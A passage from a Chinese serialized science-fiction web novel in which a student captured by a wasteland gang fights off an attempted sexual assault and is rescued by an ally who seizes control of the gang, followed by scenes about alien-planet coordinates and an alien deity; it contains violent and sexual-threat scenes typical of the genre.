看清了眼前的是何物的一瞬间,全身的血液刹那冷却,几乎是一种彻骨的寒意,狞笑着窜上脊背和脑后。
好像迄今为止的人生和理想,都成了谎言的幻影,融化做脆弱泥泞的泡沫,指尖轻轻一碰,此刻尽数破碎。
那冰冷的载体外观呈现金属机械构造的的圆盘装置,熟悉的流线型设计展现高超科技水平的绝对优越,通体覆着隔热耐寒的特殊材料涂层,上面标着熟悉的符号——一个圆形符号,上面涂黑了几个不规则的块状。
那是蓝星的俯视地图。
40.英勇女大智斗黑恶势力老大
最后检查了一次装备,陈立新背上行囊,在夜色掩护下,向目的地前进。
北海附近危险,这段时间,她孤身一人,每到清晨就在屠一鸿和凌风的掩护下离开,到阿图特失踪的附近搜查,一直到黄昏才回来。
前几天,她终于搜查到了那个废弃机场附近,借着热成像仪的扫描,看到里面没有生物的存在,但为了得到更多阿图特的线索,她决定还是找个时间,进来搜查一番。
就是这个深夜。
穿过黑暗的丛林,踏着枯黄腐败的积叶,远处传来不明生物嘶哑刺耳的鸣叫声,陈立新心里一阵阵地发悚。
打小以来,她在同龄人中间一直是胆子最大的那个,但在无人区这样充满死亡和未知的地方,还是会感到本能的恐惧。
前方的光线逐渐晦暗起来,是最后一片森林了,密布的枝桠张牙舞爪地张织,将林中的每一寸黑暗扎牢、捆紧。
她似乎听见林中传来狰狞邪恶的阴笑声。
陈立新晃了晃头,耳边的笑声还在,但仪器上没有探测到声波,显然是幻觉。
这片区域很可能感染了某种战前的生化武器,有让人产生耳鸣和幻觉的作用,也可能武器的作用实际上不止于此……
但那已经是很久很久以前的事情,所以大概只是些残余的作用。
陈立新看了一眼辐射监测仪,上面显示的数值处在安全区,情况还好。
陈立新戴上呼吸净化面罩,再一次鼓起勇气,踏入森林,朝着深处的黑暗走去。
脚底的积叶比之前的更厚实,陈立新走得很快,一路上除了枝叶遮挡外,几乎没有别的阻拦,才半个小时左右,就可以望见远处废弃机场的轮廓了。
但不知为何,她心中逐渐响起不安的警铃,或许是潜意识本能的作用,伴着脚底的树叶沙沙声,某种恐慌的疑虑渐渐升上心头。
她回头望了一眼,一缕月光穿透森林枝叶照下,黑暗如水般浸没每一寸角落,一切都寂静无声。
……尸体呢?
这片区域投入过大规模的生化武器,但她走到现在,却一点人的痕迹都没看见,腐化的残骸,遗留的衣物和装备……哪怕是无人区随处可见的人造垃圾,没有,什么都没有。
身体瞬间被冷汗浸透,意识到自己犯了大错,陈立新慌忙地去掏腰间枪支。
森林深处突然传来一声枪响,感到大腿处被什么东西瞬间击中,刺痛感传来,她踉跄了几步,意识顷刻变得昏沉,支撑不住,一头栽倒下去。
……眼前照过一阵强烈的光线,精神瞬间被刺激开机,陈立新本能地伸手遮挡在眼前,慢慢地睁开眼睛。
鼻腔窜进一股灰尘和油漆家具混合在一起的味道,她皱着眉头,看了看自己的模样。
身上的装备连同枪都不见了,上身的衣服有些凌乱,但没有被完全扯开,似乎是在半途中因为什么原因慌慌张张地停了手。
陈立新松了一口气,她外套里面穿的是这场来北海考察的实验室学员制服,上面标有无人区特遣部队的特殊标识,表示穿有这件衣服的人和他们有关系,大概在这里起了威慑的能力。
她站起身,开始打量身边的环境——一个集装箱内部,光线昏暗,只由箱壁上挖的几个小孔照进,一个铁架子床摆在房间中央,床上扔了几块毛巾,几个廉价的塑料盆摞在角落,除此之外,再看不到别的东西。
看来是被抓了,陈立新默默苦笑,心中升起一丝迟来的后悔。
但现在还是先找找出路吧,如此想着,她在集装箱里转了一圈,仔细搜查了半天下来,搜查到的信息也不比她第一眼得到的更多——门被锁着,床上和地面都积了一层灰。
陈立新不甘心地再搜查了半天,还是一无所获。
肚子响起饥饿的咕咕声,无奈之下,她决定先保存体力休息。
半梦半醒之间,她还是忍不住复盘起来。
在出发之前她就把目的地告诉了屠一鸿,这次她没回来,屠一鸿肯定会帮她去找北海上面上报失踪,无人区特遣部队一定会来救自己!
至于这边,自己不过是个学生,这帮劫匪能从她身上得到什么?大不了一口咬死就是研究,就是迷路。
所以总而言之,只要自己在这里苟久一点,别丢了小命,一切都问题不大。
想到身后还有后路可走,陈立新心中安稳了许多,被迷晕的大脑还有些昏沉,她安心地闭上双眼,准备美美睡一觉。
门外突然响起一阵粗暴的敲门声,把她吓了一大跳,差点摔下床来!
忍着一腔怒火,陈立新坐起身,朝门外喊道:“我在!”
敲门声立马停下,一个温柔沙哑的男声传来:“你饿了吗?我给你带了饭。”
闻言,陈立新立马下床,看到门被小心翼翼地拉开一条缝隙,露出一个男青年的半张脸,他看起来和她年龄相仿,清秀的模样略带些憔悴和疲惫。
几个罐头被轻轻推进来,砰地一声,门很快又紧紧合上。
陈立新此时饥肠辘辘,但还有警惕的理智存在,她轻轻皱起眉头,有些狐疑地看着地上的罐头。
门外响起锁门的声音,男人的声音再次传来,“对不起,我不能放你出去……”
算了,先不管这个男人的好坏,人家给自己送了食物来,就先道声谢吧。
“没事,能理解,谢谢你。”
门外的男人似乎不安地徘徊了一会儿,不久还是犹豫着离开了,陈立新听见脚步声远去,捡起地上的罐头,仔细检查上面有没有类似针孔和提前开罐的可疑痕迹。
没有问题,可以食用。
她松了一口气,开始囫囵吞咽起来,说是吞咽,是因为她觉得这种食物的味道就好像某种性格激烈的化学品抡了一根棍子在嘴里殴打自己,因此牙齿不能嚼动咀嚼……
接下来她无事可做,只好默默睡了一个白天,深夜之际,又一阵粗暴的敲门声响起,陈立新一边想着这男的有什么毛病,一边怒气冲冲地朝门喊:“干什么!”
然而这次并非白天的那个男人,门外响起陌生的粗犷男人声:“我们老大有事问你,出来。”
……
不得已被蒙上了眼睛,陈立新感觉自己被带出集装箱,隐隐约约闻到野外的那种辛辣浓厚的草木气息,脚底传来砂砾的触感,然后慢慢变得光滑平整,草木味道也慢慢淡去,一股熏人的烟酒味呛进鼻腔。
身旁的人突然停下来,不耐烦地拍了一下她的肩,示意她坐下。
带着十足的警惕和求生欲,她不得不摸索着一点点坐下,冰冷的铁凳触感激得她一抖。
眼前的遮罩被拉开,强烈的室内光线照进,强烈的不适感传来,陈立新闭上眼睛,又勉强慢慢睁开,一个陌生的独眼男人坐在她对面,阴恻恻地看着她。
陈立新还不清楚情况,选择闭嘴不言。
独眼男人上下打量了她一番,像是看见了什么有意思的东西一般,嚼帮子两边的肌肉扭曲地扯吊起来,咧开一嘴黄牙,率先开了口,上下两半嘴皮子碰出一股恶臭熏人的烟酒味道,“小姑娘一个人来的哦?”
……你剩下的那只眼睛是摆设吗?陈立新无语地暗想道,但不敢说,只面上装作平静的样子,老老实实地答道:“是的。”
“来这边做啥子?”
“北海给我们批准的考察范围在这附近,我是来找研究材料的。”
独眼男人听到这话,眼神微动,面上那古怪的笑容还挂着,“北海的小姑娘学生们很刻苦的嘛,呵呵……”
莫名其妙的话语,却带着捉摸不透的威胁和杀气,陈立新很少和这样说话没有逻辑的人相处,简直不知道该怎么办的好,有些紧张地梗紧了脖子,按着过往的经验回道:“我们小组的课题有些偏门,能参考的文献资料不多,但因为我们教授是个非常严肃负责的人,北海那边又对这份研究非常看重,所以大家都很努力地去做实地考察。”
第一,我们教授非常认真负责,而且和北海有合作,不会不管我。
第二,我确确实实是光明正大的北海研究学员,反正我就是因为刻苦学习所
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以迷路了。
第三,北海那边老稀罕我了,我可是有北海撑腰的人,你们最好老老实实快点放我走!
陈立新心里这样呐喊着,努力装作平静的样子,不卑不亢地直视独眼男人的眼睛,想要借此告诉对面自己真的有恃无恐。
独眼男微微点头,一副很有兴趣的样子,接着问道:“你们搞研究,怎么搞到这个地方来了?”
……这不是和第一个问题一样,陈立新有些无奈,她迅速地想了想,换了个更逼真现实的答案:“迷路了,看见这边不远处有建筑,就想着过来找个地方过夜。”
独眼男人脸上的表情没一点变化,陈立新眼看着他笑着点了根烟,而后视线迅速被黑暗遮罩,身后响起那个粗犷男人的声音,“站起来。”
她默默照做,就这样被送回了原来的集装箱。
躺在床上,陈立新复盘了半天,总结出一个道理来——那独眼男是摸不准自己真正的来路和目的,故意用些废话套自己的信息来了。
但不仅于此,独眼男的问题倾向很奇怪。
即使是掩人耳目的废话,也往往会不自觉地透露出真正的目的和问题。
如果她是独眼男,一个来自北海的外来人侵入领地,那么自己肯定会倾向于引出一些关于家世、家庭背景、财产状况和在北海的关系网之类的信息,以此来决定要如何从对方身上榨油水。
但独眼男的问题仅仅指向一个地方——她的研究与此地的关系是什么?
一种强烈的预感袭上心头,她隐隐约约有了一个猜测,恐怕此地确实发生了什么奇怪的事情,独眼男正在为此焦头烂额,如今一个奇怪的人正巧跑进来了——这个人就是自己,他肯定首先想知道眼前的人和怪事有没有什么利弊相关。
而且,这件怪事给他带来的焦虑,远远超过冒犯北海所带来的,以至于要首先问她关于研究的问题。
要想在无人区特遣部队来救自己之前,增加在这里活下去的几率,她现在最好的选择就是顺应独眼男的心思,暗示他,自己不仅和他眼前的烫手山芋有关,还能控制住这个烫手山芋。
那么,这个烫手山芋会是什么?
陈立新脑海里渐渐浮现一张熟悉的脸,黑色长发如冥河水母般飘散,露出一张总是怏怏不乐的脸,只有在吃肉和看动物纪录片的时候,那双五彩斑斓的、独一无二的眼睛才会有了神采。
她默默握紧双手,眼神逐渐变得坚定。
“……我一定会找到你,阿图特。”
第二天的夜晚,那个粗犷的男人又来接她,这次和独眼男的对话她留了很多心眼,故意显得支支吾吾,看起来好像在遮掩着什么秘密一般,无论独眼男这次问什么,她的回答始终围着一句话打转——我是来这里做研究的但是我不能说研究的是什么。
二人就这样周旋到了第四天,终于,独眼男忍不住了,脸上假惺惺的笑容松动了些,他一挥手,让属下离开,随后压低声音,皱着眉头问道:“你们那个研究,是不是和生物实验有关?”
陈立新心中一沉,她这几天一直在打马虎眼,独眼男的耐心已经耗尽,会问出这种几乎把底裤都漏出来了的问题,看来是已经给她铺好路了。
如果她接下来说有关,那么独眼男极有可能会留下她的性命,并且在接下来这几天直接逼问她的研究内容,到时候她答不准,和独眼男真正面临的问题无关的话,自己无疑死路一条。
如果她接下来说无关,那么独眼男多半会凭心情来处理她,要么把她完完整整送回北海,要么……不那么完整地送回北海。
她这几天可从没在这里见到过女人,那个粗犷男人来押送她的时候,总是故意用力敲打房门,她生气的反应越大,他就越兴奋。
无人区特遣部队还没来,武器和装备都没在手上,决不能赌独眼男会用什么方式把她送回北海,她只能选择第一种回答,想尽办法牵制住独眼男。
陈立新深吸了一口气,装作像是下定什么重大决心一般,微微俯低身子,小小声说道:“有关。”
41.敢以身做饵,夺得麾下权
陈立新赌对了,独眼男听到她肯定的回答,先是脸色一变,而后身体向后一躺,嘴里骂了一句,看起来确确实实是遇到了大麻烦。
陈立新心中暗暗松了一口气,独眼男点了一根烟,皱眉问道:“你们研究的那个东西能不能带回去?”
“可以,但是装备和仪器在北海那边,我可以回去带他们过来。”
独眼男阴恻恻地瞅了一眼陈立新,陈立新心中捏了一把冷汗,她的回答太过直白,但是现在本就是真心换真心的时候,这男人想要她解决问题,她也想让这男人解决她的问题。
就看这男人愿不愿意妥协了。
独眼男砸吧着烟,像是在思考对策,陈立新被烟味呛得难受,忍不住咳嗽了几声,独眼男看见她的反应,居然嘿嘿笑了两声。
……真恶心。
陈立新忍住几乎要呕吐出来的冲动,沉默地等待独眼男的回答,然而独眼男考虑了半天,一句话也没说,只打了个响指,那个粗犷男人冲进来,再次把她的头蒙住,她就这样又被带回了集装箱。
夜已深了,她心中纵有多重疑虑,此时也忍不住困意,沉沉睡去。
凌晨,一阵小心翼翼的敲门声再次将她吵醒,陈立新心里已经被折磨得没了脾气,她疲惫地睁开眼睛,迷迷糊糊地冲门那边喊道:“什么事?”
门外响起熟悉的声音,沙哑的男音带着一点急迫和不安,“快醒醒,我带你走!”
是这几天给她送食物的那个男青年!
陈立新精神一振,她立马翻身下床,三两下穿好衣服,冲到门边上,只见门锁轻轻转了两圈,门应声而开,门外站着那个清秀瘦削的男人。
他背上背着她之前的背包,看见她完好无损,眼前一亮,露出一个温柔的微笑。
他向陈立新伸出手,又把背包还给她,语气中透着急切,“快走吧,我们老大要杀你!”
“啊?”陈立新还没来得及对装备的失而复得感到喜悦,听见这话,顿时觉得莫名其妙,她刚刚才和独眼男聊完,怎么现在又要杀她?
“发生了什么?”
“我听见老大说,与其冒险放人,让北海派人过来把我们一锅端,不如直接把你……”
男青年欲言又止,焦急地看了一眼身后,陈立新心中一惊,惊诧地盯着男青年。
男青年似乎是确定没人来,赶紧抓住陈立新的手,把她往集装箱外带,“快走吧,天亮就来不及了!”
陈立新身体被他拽着往外跑,脑海里思绪纷乱。
仔细想想,也不是没有这种可能性,刚才独眼男拖着没给她答复,可能就是在考虑这件事。
与其冒险在集装箱继续待下去,干坐着赌独眼男的决定,不如就这样和这个男人冲出去,反正装备在自己手里!
下定决心,她反而牵过男青年的手,带着他往外冲锋!
集装箱的位置在机场边缘处,离之前的森林不远,二人很快就跑到了森林边界,男人突然停下脚步,深情地注视着陈立新的眼睛。
陈立新看了一眼男人,对啊,他是这里的人,估计跟着她出去了,见到北海的人就是死路一条。
看来她们就要在此分手了,虽然不知道为什么这个男人会帮助自己,但是谢谢他。
陈立新拥抱了一下男青年,做了最后的道别,带着劫后余生的希望,陈立新毅然决然地跑进森林。
然而,意想不到的事情发生了。陈立新还没跑出去几百米远,身后突然响起危险的枪声,她的小腿顷刻中枪,一下子摔倒在地。
枪伤带来的剧烈的痛苦传来,陈立新心道不好,是追兵追上来了,她忍住疼痛向后望去,想看看男青年有没有被抓,却看见男青年脸上带着渗人的冷笑,举着枪向她一步步逼近。
陈立新不可思议地看着男青年,显然没料到这种变故,只能眼睁睁看着男青年走到她身旁,狞笑着用下流的眼神上上下下地打量着她。
“脱掉衣服。”他举着枪对她说。
陈立新心中燃起一腔怒火,原来刚才他让她先走,是为了在远距离趁她不备开枪!
她正想说些什么,男青年却将枪口对准她的头颅,恶狠狠打过来一个耳光,“脱掉衣服!”
不得已,陈立新咬着牙,强忍住泪水,盯着冷冰冰的枪口,开始脱衣服。
男青年现在有枪在手,对方的体格即使瘦弱,其常年在无人区野外火拼的经验也远远胜过自己这常年居于城市的脆皮大学生,何况她的小腿已经被击中,而且还在流血,选择和对方硬拼显示不是明智合理的选择。
或许只要顺应男青年的要求,她就可以留下一条命,只要命还在,她就有的是时间报仇!
男青年用下流纬/琐的眼神在眼前的女人身上扫视,现在她没了衣服,身体又负伤,羞耻心必然已经将这个无助的女人击溃。
他狞笑着,洋洋得意的,开始脱裤子。
“趴下!”他急不可耐地喊了一句。
眼前的女人身形犹豫了几秒,而后慢慢照做,趴在地上。
他将手掌抚在女人背上,下一秒,一记意料之外的重拳狠狠击在他太阳穴上,他防备不及,一下子飞出去半米远,手中的枪也飞了出去。
陈立新坐起身,她握紧拳头,因为用力过猛,每一段指节都微微发红,青筋暴起,带动她急促的呼吸。
她一直都是个骄傲的人,就在衣服一件一件脱去,那恶毒的眼神在身上游走的每一个瞬息,她的仇恨和愤怒要远远胜过她的羞耻心,远远超过她不择手段求生的意志。
这并非是出自保护身体不能裸露的自尊心,而是面对自己的尊严被轻蔑之时,自己的生命不能被自己牢牢掌握之时,熊熊燃起的战斗的本能!
无论是强/检,还是赤裸,都不能将她击溃,她的身体是供以她生存的,而不是被凝视和赏玩的!
来不及穿衣服,只能冒着□□被利器破皮擦伤的风险,陈立新猛扑上去,和男青年撕打起来。
头部和腹部都挨了几下重击,然而暴怒下,她的肾上腺素激增,竟完全没有感受到疼痛,反而带来了气力的加成,突然,她用尽全身力气,猛地肘击男人的下/体,男人吃痛,痛苦地弓下身子,陈立新趁机去抢一边的枪,却被男人死死抓住脚踝。
二人陷入了僵持,陈立新拼尽全力向枪的方向爬,男人察觉到她的意图,也忍住疼痛向枪爬去。
陈立新的距离要更近,眼见着指尖离枪支只有半掌远,却突然感到头皮传来巨大的痛苦,凄厉地喊了一声,男人死死抓住她的长发,一边将她往后面拖,一边死命往枪的方向爬去。
不能挣脱,陈立新不甘心地趴在地上,眼睁睁看着男人拿到了枪,嘲讽般向她露出一个笑容,而后朝她的头狠狠踢了一脚,嘴里不干不净骂了一句。
男人就这样举着枪,殴打了她一分多钟,而后似乎是累了,抬起手中的枪。
“下辈子,别再反抗了。”
男人假惺惺地教育了一句,嘴角牵起一个恶毒的微笑。
陈立新嘴角流血,她死死地盯着男人,死亡也无法让她低头。
下一秒,枪声响起,陈立新身体一颤,本能的恐惧感窜上心头,本以为自己就要这样死去,没想到男人的身体晃了几下,扑通一声栽倒在她旁边。
她哆哆嗦嗦地转过头,惊诧地看着男人的尸体,男人的脑袋上通了个大洞,脑水和血肉乱七八糟地冒出来。
陈立新还是第一次见杀人的场景,她忍不住干呕一声,手脚并用地爬开男人身边,扶着树勉强站起身。
森林黑暗的深处,一个熟悉的声音传来,“北海这边的冬天很冷,小心失温。”
听
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见声音,陈立新惊讶地看过去,只见那狰狞枝叶蔓延间,一个幽灵般的身影举着枪,缓缓走出林间掩映重重黑暗。
青白的月光穿透枝叶,轻轻洒在来者孱弱单薄的身上,而她的眼神比月光更冰冷。
“怎么是你?”陈立新吃惊地看着屠一鸿,“你亲自来了……就你一个吗?”
屠一鸿点了点头,收起枪支,“先穿上衣服吧,保存好体力。”
陈立新这才感到身体已经冻得有些麻木僵硬,方才的热血沸腾不复存在,她打了个喷嚏,赶紧去捡自己的衣服。
穿好衣服,又在屠一鸿的帮助下穿戴好装备,陈立新从劫后余生的希望中松了口气,她装好弹夹,看向屠一鸿,忍不住说道:“我还以为你会叫无人区特遣部队过来,比如萧衍什么的。”
屠一鸿微微一笑,轻轻摇了摇头,“我不会让他们抢走权力。”
陈立新闻言愣了一下,茫然地看着屠一鸿,“啊?”
屠一鸿装好弹夹,将枪支藏在腰间,她转向陈立新,面上显出抱歉的神色,“为了我们进一步的计划,我牺牲了几天可以来提前营救你的时间,抱歉。”
“但是请相信,这是因为我料到这边的人不会轻易动北海的客人,我用生命和尊严承诺,我绝无抛弃你的心思。”
“现在,让我们去做正事吧。”
……
陈立新跟着屠一鸿再次返回了集装箱所在的地方,此时天已全亮,那个粗犷的男人前来接陈立新,正一脸惊恐地看着空空如也的集装箱。
屠一鸿拍了拍手,吸引到男人的目光。
她礼貌地微微一笑,说道:“你们的人带走了她,北海刚刚将她救出,现在北海派我来和你们谈判。”
男人看见已经恢复自由身和原有装备的陈立新,听见北海已经派了人来,眼中闪过一丝惶恐,犹豫了一下,还是将二人带到了会客厅。
独眼男知道北海的人来了,面上露出彷徨的神色,不知道北海要将自己如何处理。
他暗下决心,如果等会那个代表要因为人质被俘虏而质问他的话,索性就把所有的罪责推到那个逃兵身上,反正他们这几天没把那个人质怎么样。
何况,刚才那个代表说的是……谈判?
看来他猜得没错,北海的那帮人在搞什么秘密实验,现在出事情了死人了,把事情闹大了,就派人过来捂嘴来了!
他精神一振,不错,现在他手里有了筹码,如果等会谈判不成,他就用北海搞秘密实验的事情威胁对面,一个孤孤单单的小姑娘,能在他这里讨到什么便宜?
他自信满满地走进会客厅,看着眼前单薄苍白的少女,问道:“请问——”
猝不及防的,一声冰冷的枪响,砰地一声,他应声倒地,心口一个流血的大窟窿,顷刻断了气。
客厅里的人都愣住了,这么多人在,这个少女居然直接开了枪。
现在老大死了,局面群龙无首,他们慌忙地拿出枪,对准了二人的脑袋。
屠一鸿缓缓开口:“北海一来就要剿灭这里,你们现在选择跟着我的话,还有一条活路。”
陈立新惊诧地看着屠一鸿,周边的喽啰们听见这话,你看看我,我看看你,都犹豫了良久。
不知道是谁先放手,一个二个都慢慢放下了枪。
粗犷男人慌张地凑上前来,下意识地想给新老大点烟,然而面前的是个少女,一时间有些手忙脚乱,只好送上一杯水。
屠一鸿从那颤抖的手中将水稳稳接过,她微微一笑,做出举杯庆贺的样子,对在场的众人说道:“很好,从今以后,我们就是一条船上的人了。”
在场的众人都纷纷举起杯子呼应,陈立新看着屠一鸿将水一饮而尽,心中慢慢升起复杂的情绪。
屠一鸿这个人,或许比她想的,要更危险。
42.她将承诺说出,那远处的已经显现
处理好完废弃机场的帮派后,陈立新连夜赶回北海,在屠一鸿的安排下住了两天病房,三人原本因这场绑架从而被打乱的计划,也在屠一鸿的处理下走进正轨。
废弃机场那边的事情和帮派现在交给了凌风处理,尽管凌风对于这样的突发情况显得有些摸不着头脑,但还是乖乖服从了屠一鸿的安排,何况听到那边似乎有阿图特出没的线索,他也乐意去那边勘察。
陈立新则替代了凌风在安之恒那边的学员位置,尽管有些不熟悉海洋生物学相关的知识,但安之恒教授是个好相处的人,只要陈立新努力补习一下,课业上也还算过得去。
至于屠一鸿自己,她没有告诉陈立新和凌风关于自己的安排。
北海商业区,圣心医院内。
陈立新正在整理衣服和床单,护士进来看见这一幕,急忙过来接过她手里的活,让她注意自己的身体。
其实陈立新已经好得差不多了,只是在短时间失血后有点营养不良。
她向护士和医生道了谢,收拾背好自己的东西,打了辆去往北海家属区的车。
陈立新拿起手机,打算先去跟安之恒报备一番,开始鼓捣这玩意该怎么用。
这是安之恒给学员买的,每一个都由这老太太仔仔细细地挑选,又亲自一个个送到学员们手上。
这种老古董陈立新还不太用得习惯,沉甸甸地握在手里,无法调节的屏幕大小让她不得不把手掬着,小心翼翼地拨打号码。
还没来得及摁下拨通键,一个未知电话突然打来,音量键还没调节过,上半个世纪以前的老歌在车里响起,前座的司机忍不住发出一声嗤笑。
陈立新尴尬极了,手忙脚乱的调小音量,接通号码,带着几分埋怨地问道:“你好,请问是?”
“是陈立新吗?我是奕川。”
“——!”
陈立新瞳孔瞬间睁大,奕川怎么突然打电话过来了?!
一种不详的预感涌上心头,带着事情暴露的不安,她深吸一口气,故作镇静地问道:“是我,发生了什么事吗?”
“阿图特的监护人回来了,”奕川语气严肃,为了不让外人听到祝吟辰这个敏感的名字,她故意使用了这番说辞。
“她有很多事情要跟我们说,明天,我们会请人去你那边玩,做好待客的准备。”
陈立新听得心里直冒汗,她偷偷瞄了一眼前座的司机,后者的眼神正直极了,炯炯有神地盯着前方,一副专心致志、浑然不觉的样子,显然已经在这种鱼龙混杂的地方混出了经验。
“好的,我知道了。”
陈立新挂断电话,心中响起种种猜测。
奕川似乎没有责备自己的意思,看起来她们找阿图特的事情还没有暴露。
那么,难道是……祝吟辰这次又在阿努特纳星发现了什么?
……
离冬季结束还有两个月左右的时间,联合城邦的雪渐变小了,细小的雪花打着旋儿纷纷飘落,将大地覆上一层苍白的颜色,衬得街上霓虹灯越发鲜艳惹眼,寒风里一阵阵闪烁着。
大学城的一处街角,小公寓二楼的窗帘被轻轻拉上,遮蔽浓稠深重的夜色,以往热热闹闹的地方,现在只有两个人。
祝吟辰交代得差不多了,她长出了一口气,接过奕川递过来的茶,润了润嗓子。
奕川忧心忡忡地皱起眉头,“你是说,被困在那个冥土中心的七天里,你不仅发现了有关蓝星的符号标识,还找到了部分残余的文字符号记载的资料?”
“是的。”祝吟辰轻轻放下杯子,眼底透出这七天彻夜不眠,钻研字符的疲惫。
“目前为止,我重启了无数次翻译系统,又和我关在一起的阿努一起研究了很久,资料上的字符更像是某种数字相关的排列组合,最后我们得到了三个坐标。”
“哪三个坐标?”
“南极点、尼莫点和东经120°?6?、北纬36°?23?。”
“一个是蓝星最南端、最寒冷的地方。”
“一个是距离陆地最远的海洋无人区,战前各国武器残骸的乱葬岗。”
“最后一个……是AGPC科技中心南洋驻区的坐标。”
奕川听到这里,彻底意识到事情的严重性,面上浮现出更凝重的神色。
“看来,在AGPC派遣你去阿努特纳星之前,他们就已经在那边进行了某种秘密行动。”
祝吟辰点了点头,沉默不语。
奕川紧接着追问道:“你和那个阿努能破译出其他的信息吗?比如资料的行动内容之类的?”
祝吟辰摇了摇头,“没有,我怀疑这是AGPC内部的一种二进制加密文字,如果没有对应的密码对照表的话,很难将其破解。”
“好吧,”奕川听到这里,重重地点了点头,她认真地注视着祝吟辰的眼睛,承诺道:“感谢你的情报分享,为了确保线索不会因流通而丢失,我会派出专门的人手去AGPC科技中心的各个分区进行调查。”
奕川看到祝吟辰轻轻点了点头,似乎是接受了她的好意,但面上的愁绪却含在眼底,仍未消除。
是啊,独自在离人类如此遥远的地方,坚持着苦苦为人类谋福利的信念,却不经意间发现了隐秘的背叛,连以往决心转向红派的那心底隐隐的愧疚也顷刻变成了笑话。
这其中迷雾重重,任谁也会感到心情消沉。
二人之间沉默了一会儿,奕川试图活跃一下气氛。
她突然站起身,从厨房里端了一块蛋糕,回到客厅,轻轻拍了一下祝吟辰的肩膀,引起对方的注意。
她将蛋糕切开一块,端到祝吟辰面前,用了些更轻松的语气,问道:“这段时间,你在阿努特纳星有没有经历些什么有趣的事?好不容易有个星际特工局的朋友,我还从来还没有问过你这些呢。”
祝吟辰察觉了奕川的心思,面上轻轻浮起一个微笑,默默接受了这番好意。
心中回忆起遥远的经历,祝吟辰开始缓缓讲述那些仿若梦一样的精彩的经历……
奕川听得津津有味,时不时发表一下评论,原本紧张的气氛也逐渐松弛起来。
“真是难以置信,”
听完祝吟辰的故事,奕川感叹道:“只是,阿努们听起来不像是真正的生物,更像是某种可以施展法力的,奇幻小说里的那种异世界生物。”
突然,奕川像是想起什么似的,恍然大悟地说道:“有没有可能,你在阿努特纳星上的经历其实是被空气或者食物里的某种物质毒晕过去后,产生的一些被迷惑后的幻觉?毕竟这种生物的存在实在匪夷所思,呼风唤雨什么的……”
“这点我曾经也有所疑惑,但是,我现在想的是,或许人
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类对生物的认识和定义过于狭隘。”
“何出此言?”
奕川叉了一块蛋糕,边嚼边问。
“我想,阿努并非像蓝星上的生命体一样是由物质和意识组成的,具有生命的个体,更像是生命、□□、灵魂和星球上的客观规律的集合体。”
“简单来说,那些奇妙的能力本身就是她们作为个体的组成的一份子。”
奕川停止了一秒咀嚼的动作,思考了几秒,露出有些抱歉的神色,“呃……,没听太懂。”
祝吟辰笑了笑,“或许一切只是我对阿努本质的猜测罢了,在我看来,她们更接近于神,而非人类,或是我们肉眼可见的生命体。”
“我们曾经坚信不疑,规律是客观的,不以主观意志为转移的。”
“然而经历过的那些事情告诉我,是可以的,如果眼前的存在,是以规律为自身组成的一部分的话。”
奕川思考了一下,慢慢地点了点头,“我好像听说过,战前的一些神学家坚持认为,宇宙是一个肉眼无法完全观测的巨人,或许,也可能是一个肉眼无法观测的阿努吧。”
祝吟辰站起身,走到窗前,轻轻将窗帘拉开,望着夜幕下的这座城市。
高楼大厦的灯光璀璨夺目,天上天上的车道川流不息,车灯划过夜空,留下无数条光的轨道,宛若点点繁星坠落人间,又循着轨道流转、飞去……如一个小小的银河系。
她凝视着眼底的这座城市,阿努的眼睛总是这样熠熠闪烁,五彩斑斓,那里面是否就这样藏着这样一个永不停歇的城市呢?
感到身旁的脚步声,窗上覆上一只手,奕川走过来陪在她身边。
她似乎还沉浸在阿努特纳星的故事里,看着A1区的城市夜景,感叹道:“城市如果也是一个生物体的话,或许它靠吞吃人们的梦境和现实生存吧。”
“毕竟,这座城市,最不缺的就是痛苦,快乐是生存的麻药。”
祝吟辰听到这话,忍不住转向奕川,明明是想说些安慰的话,看到对方沉静的、微笑的侧颜,一时间竟说不出话来。
奕川突然转向祝吟辰,注视着她的眼睛,声音温柔又坚定:“祝吟辰,不知道为何,我有一种强烈的预感,你将是见证时代变迁的存在。”
“在蓝星上,你是见证红蓝两派角力的人,在阿努特纳星,你是见证两代虫母争权的阿努,或许在更远的未来,你将会站在新的立场上,看到我们所有人都无法亲眼目睹的奇迹,你做出的选择,将会与两个星球的未来息息相关。”
“所以,我在这里以一个朋友的身份请求你……”
奕川突然回过身,倒了一杯茶,端到祝吟辰面前,做出邀请的姿势。
“我希望,你可以带着我的这一份,一直一直走下去,在这段异星旅途的尽头,见证那未知的、生命的终极奇迹。”
祝吟辰看着奕川脸上的微笑,不像是那种习以为常的礼貌的礼仪,而是挚友之间的那种,最亲密的笑容,自然而然地舒展在那张熟悉的脸上,她从其中看出一种衷心的希望,一种无比温柔的祝福。
像是受到这样真挚的情绪感染似的,也是一种珍贵的、庄重的承诺,祝吟辰稳稳地接过那杯茶,眼神中透出无比的郑重认真。
“我答应你,我将在这段异星旅途的尽头,见证那未知的、生命的终极奇迹。”
43.第四个孩子,她说
冥土风暴肆虐,埃勒伽的愤怒永不平息。
安提远远地望着风暴的另一端,短短几个夜潮升起落下,她的身体已经伤痕累累,新撕裂的还在流血,炽烈的颜色滴落,渐化做她眼瞳里的两点火星。
自从祝吟辰被埃勒伽掳走,她就固守在此,与埃勒伽无休无止地战斗,双方搏斗了数不清的回合,每一场都以安提的惨败告终。
伊南娜起先还鼎力相助,过了不久就感到厌倦了。
她直白地告诉安提,伊塔被抛入了“不可复归之地”,在那里,时间失去了意义,一切都陷入了不可知的混乱和疯狂,伊塔恐怕已经化作一团浑浊的虚无,散逸到无边无际的雾海中去了。
总而言之,安提是在做无用功。
然而正如她心知肚明的那样,安提就站在这里,一刻不停地战斗,失败只是中场休息,她知道她下一秒又会冲上去。
面对不听劝的安提,伊南娜选择放弃沟通,就此回到空居暂居。
一阵腥臭的海风吹过,安提感到自己像是被冥土底部万物的尸糜裹了一道,鼻腔里灌进一股咸湿的味道,大脑蓦地受到刺激,此时竟格外清醒。
那么,就该继续上了。
“停停吧,醉酒的阿努需要安静。”
安提踏出去的脚步随之一顿,她回过头,看见深红阴沉夜幕下,沙滩礁石上熟悉的身影——
伊南娜神色微醺,迷醉的双眼微阖,不知道在看哪里,整个身体舒舒服服地半躺在礁石上,一只手撑着头,肘部微微弯曲,另一只手臂自然地垂放在身体一侧,看起来刚刚喝了不少。
安提站在原地不动,话像丢出去的石块一样直白,“你来帮我吗?”
伊南娜闭上了眼睛。
安提也不求援,她转过身,刚刚抬起脚,又听见身后传来伊南娜的声音,“出征之前,不先听听战场上前辈的故事吗?”
安提听到这话,站在原地,犹豫了很久,才慢慢回过头。
